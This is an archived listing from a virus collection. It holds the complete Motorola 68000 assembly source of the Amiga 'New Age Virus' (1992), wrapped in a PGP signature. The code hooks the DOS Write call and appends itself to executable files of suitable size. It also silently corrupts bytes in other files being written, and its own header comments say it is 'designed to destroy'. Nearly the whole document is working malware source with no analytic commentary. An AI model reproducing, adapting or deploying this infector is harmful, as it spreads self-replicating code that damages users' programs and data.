home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
c
/
Cjezus
/
Debugger.lha
/
NewAge.s.asc
< prev
Wrap
PGP Signed Message
|
1994-04-08
|
5KB
|
300 lines
-----BEGIN PGP SIGNED MESSAGE-----
*************************************************
* *
* New Age Virus © 1992 By Evil Jesus *
* *
*************************************************
; New Age - designed to destroy
; Primary target : Information
; Secondary target: Mind
BASEREG MyBase,A4
INCLUDE exec/exec_lib.i
INCLUDE exec/memory.i
INCLUDE libraries/dos_lib.i
INCLUDE libraries/dos.i
CALL MACRO
jsr \1(a4)
ENDM
LIB MACRO
jsr _lvo\1(a6)
ENDM
Agression = 50
Minfile = 4096 ; minumum size of file to infect
Maxfile = 65536 ; maximum size of file to infect
SECTION NewAge,code
* StartUp (Virus starts executing itself or stops)
Start
movem.l d0-d7/a0-a6,-(sp)
lea MyBase(pc),a4
move.l $4.w,a6
lea Dos(a4),a1
LIB OLDOPENLIBRARY
move.l d0,a2
move.l ID(a4),d0
cmp.w #$4ef9,-48(a2)
bne.s die
move.l -48+2(a2),a0
cmp.l ID-Write(a0),d0
beq.s die
move.l (a4),d0
moveq #MEMF_PUBLIC,d1
LIB ALLOCMEM
tst.l d0
beq.s die
move.l a4,-(sp)
move.l d0,a1
lea Start(a4),a0
move.l (a4),d1
subq.w #1,d1
.loop move.b (a0)+,(a1)+
dbf d1,.loop
lea -[Fullend-MyBase](a1),a4
jmp new(a4)
new lea Write(a4),a0
move.l -48+2(a2),L01(a4)
move.l a0,-48+2(a2)
move.l (sp)+,a4
die move.l a2,a1
LIB CLOSELIBRARY
jmp Realprog(a4) ; real programcode starts
* Infector
Write
movem.l d2-d7/a2-a6,-(sp)
lea MyBase(pc),a4
cmp.l #Minfile,d3
blo.s nofile
CALL Checkit
tst.l d0
bne.s nofile
CALL Modify
tst.l d4
bne.s nofile
tst.l d0
bmi.s savesuck
addq.l #1,Count(a4)
sub.l (a4),d0
bra.s savesuck
nofile lea Suckit(a4),a3
subq.w #1,(a3) ; corrupt
bne.s saved
move.l d2,a2
move.l d3,d4
lsr.l #1,d4
not.b 0(a2,d4.l)
saved move.l L01(a4),a0
jsr (a0)
tst.w (a3)
bne.s savesuck
move.w #Agression,(a3)
not.b 0(a2,d4.l)
savesuck
movem.l (sp)+,d2-d7/a2-a6
rts
* Global data & routines
Checkit * Check filebuffer
; D1 = handle
; D2 = buffer
; D3 = size
; D0 = result / 0=ok
move.l ID(a4),d0
btst #0,d2
bne.s fail
move.l d2,a0
cmp.l #$3f3,(a0)
bne.s fail
cmp.l #$3f2,-4(a0,d3.l)
bne.s fail
tst.l 4(a0)
bne.s fail
move.l 8(a0),d4
lsl.l #2,d4
lea 30(a0,d4.l),a0 ; firstcode+2
cmp.l [ID-Start]-2(a0),d0
beq.s fail
cmp.w #$4afc,(a0)
beq.s fail
cmp.w #$4e75,(a0)+
beq.b fail
cmp.w #$4afc,(a0)
beq.s fail
cmp.l #Maxfile,d3
bhi.s fail
moveq #0,d0
fail rts
Modify * Modify file and save it
; D1 = handle
; D2 = buffer
; D3 = size
; D0 = result / savedsize
; D4 = result / 0=ok
moveq #-1,d4
moveq #0,d7
move.l d3,d0
add.l (a4),d0
move.l d0,a5
movem.l d1/a6,-(sp)
moveq #MEMF_PUBLIC,d1
move.l $4.w,a6
LIB ALLOCMEM
movem.l (sp)+,d1/a6
tst.l d0
beq.w noalloc
move.l d2,a2
move.l d0,a3
move.l d3,d5
move.l a3,-(sp)
move.l (a2)+,(a3)+
move.l (a2)+,(a3)+
move.l (a2)+,d6 ; hunks
move.l d6,(a3)+
move.l (a2)+,(a3)+
move.l (a2)+,(a3)+
move.l (a2)+,(a3)
move.l (a4),d0
lsr.l #2,d0
add.l d0,(a3)+ ; hunksize
sub.l #24,d5
bmi.w fail2
subq.l #2,d6
bmi.s one
.loop move.l (a2)+,(a3)+
subq.l #4,d5
bmi.w fail2
dbf d6,.loop
one move.l (a2)+,(a3)+
move.l (a2)+,d6
add.l d6,d0
move.l d0,(a3)+
subq.l #8,d5
bmi.w fail2
lea Start(a4),a0
move.l (a4),d0
lsr.l #2,d0
subq.w #1,d0
.loop move.l (a0)+,(a3)+
dbf d0,.loop
bra.s enter
hunkmore
move.l (a2)+,(a3)+ ; hunktype
subq.l #4,d5
beq.w modifyok
cmp.l #$3f2,-4(a3)
bne.s hunkmore2
moveq #-1,d7
bra.s hunkmore
hunkmore2
cmp.l #$3ec,-4(a3)
beq.s hunkit
move.l (a2)+,d6 ; hunksize/4
subq.l #4,d5
move.l d6,(a3)+
beq.s hunkmore
enter and.l #$3fffffff,d6
lsl.l #2,d6
sub.l d6,d5
bmi.w fail2
lsr.l #2,d6
move.l a3,a1
.loop move.l (a2)+,(a3)+
subq.l #1,d6
bne.s .loop
bra.s hunkmore
relmore move.l d6,(a3)+
move.l (a2)+,(a3)+
lsl.l #2,d6
sub.l d6,d5
subq.l #8,d5
bmi.s fail2
lsr.l #2,d6
tst.b d7
beq.s relocmodify1
tst.l -4(a3)
beq.s relocmodify3
.loop move.l (a2)+,(a3)+
subq.l #1,d6
bne.s .loop
hunkit move.l (a2)+,d6 ; offsetcount
bne.s relmore
move.l d6,(a3)+
subq.l #4,d5
bra.s hunkmore
relocmodify1
tst.l -4(a3)
beq.s relocmodify2
move.l (a4),d0
.loop move.l (a2)+,(a3)
add.l d0,(a3)+
subq.l #1,d6
bne.s .loop
bra.s hunkit
relocmodify2
move.l (a4),d0
.loop move.l (a2)+,d4
add.l d0,d4
add.l d0,0(a1,d4.l)
move.l d4,(a3)+
subq.l #1,d6
bne.s .loop
moveq #-1,d4
bra.s hunkit
relocmodify3
move.l (a4),d0
.loop move.l (a2)+,d4
add.l d0,0(a1,d4.l)
move.l d4,(a3)+
subq.l #1,d6
bne.s .loop
moveq #-1,d4
bra.s hunkit
modifyok
cmp.l #$3f2,-4(a3)
bne.s fail2
moveq #0,d4
move.l (sp),d2
move.l a5,d3
move.l L01(a4),a0
jsr (a0) ; write
fail2 move.l (sp)+,a1
movem.l d0-d1/a6,-(sp)
move.l a5,d0
move.l $4.w,a6
LIB FREEMEM
movem.l (sp)+,d0-d1/a6
noalloc rts
MyBase
Size dc.l FullEnd-Start ; MUST BE BASE + 0
L01 dc.l 0
Count dc.l 0
Suckit dc.w Agression
ID dc.b 'New Age Virus © 1992 By Evil Jesus'
Dos dc.b 'dos.library',0
EVEN
dc.w 0 ; (pad-word) fullend-start = 666 bytes
Realprog
movem.l (sp)+,d0-d7/a0-a6
Fullend rts ; LONGWORD ALIGNED!!!
-----BEGIN PGP SIGNATURE-----
Version: 2.3a.2
iQBFAgUBLaT14o3j8jX6L7S9AQHvvgF/Z7+pLAnAkeAubHpyy3oY1znziQdwuvfQ
OF/26CCvUp2ycFDClTFltR5RCpTZeSev
=oqLl
-----END PGP SIGNATURE-----